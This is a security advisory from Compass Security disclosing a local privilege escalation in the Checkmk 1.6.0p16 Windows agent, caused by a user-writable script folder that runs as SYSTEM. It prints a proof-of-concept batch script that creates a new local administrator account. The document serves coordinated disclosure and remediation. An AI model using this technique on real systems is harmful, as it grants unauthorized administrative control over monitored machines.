################################################################################ # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ################################################################################ # # Product: Checkmk # Vendor: tribe29 GmbH # CSNC ID: CSNC-2020-005 # Subject: Local Privilege Escalation # Risk: High # Effect: Locally exploitable # Authors: Thierry Viaccoz <thierry.viaccoz@compass-security.com> # Date: 21.09.2020 # ################################################################################ Introduction: ------------- Checkmk [1] is an IT infrastructure monitoring software. It is consists of a management server querying the clients and of an agent installed on the monitored systems. Compass Security identified a local privilege escalation vulnerability, allowing a user on a systems monitored by Checkmk to escalate its privileges to become a local administrator. Affected: --------- Vulnerable: * Checkmk 1.6.0p16 Not vulnerable: * Checkmk 1.6.0p17 No other version was tested, but it is believed for the older versions to be also vulnerable. Technical Description: ---------------------- Generally, a standard user can read and write to more paths than it should, thereby allowing it to access and modifiy sensitive information. Every user logged in on a system monitored by Checkmk can write to the path where scripts are stored. These are executed regularly by the agent as SYSTEM: C:\ProgramData\checkmk\agent\local>icacls . . NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) CREATOR OWNER:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA) This means that the user can execute arbitrary commands as SYSTEM and escalate its privileges. As a proof of concept, the script "C:\ProgramData\checkmk\agent\local\script.bat" with the following content was created: @echo off echo 0 myservice - OK: Custom output whoami > C:\checkmk.txt net user /add compass [CUT] net localgroup Administrators compass /add The script first writes the current user with "whoami" in the file "C:\checkmk.txt", then creates the new user "compass" and finally adds it in the local "Administrators" group. After several minutes, the script gets triggered by the monitoring server through the local agent and the file "C:\checkmk.txt" with the following content is present: nt authority\system This shows that the script was executed as SYSTEM. In addition, the new local administrator "compass" is present on the system. A local attacker can exploit this vulnerability to gain local administrative privileges on any system monitored by Checkmk. Workaround / Fix: ----------------- Restrict the paths the users can read and write to the strict minimum in order to prevent the scripts being tampered with and sensitive information like keys to leak to unauthorized users. This was fixed by the publisher in [2]. As a Checkmk customer, update your installation to the latest version to receive the fix. Timeline: --------- 2020-08-19: Discovery by Thierry Viaccoz 2020-08-24: Initial vendor notification 2020-08-31: Release of fixed version 2020-09-21: Coordinated public disclosure date References: ----------- [1] https://checkmk.com/ [2] https://checkmk.com/check_mk-werks.php?werk_id=11460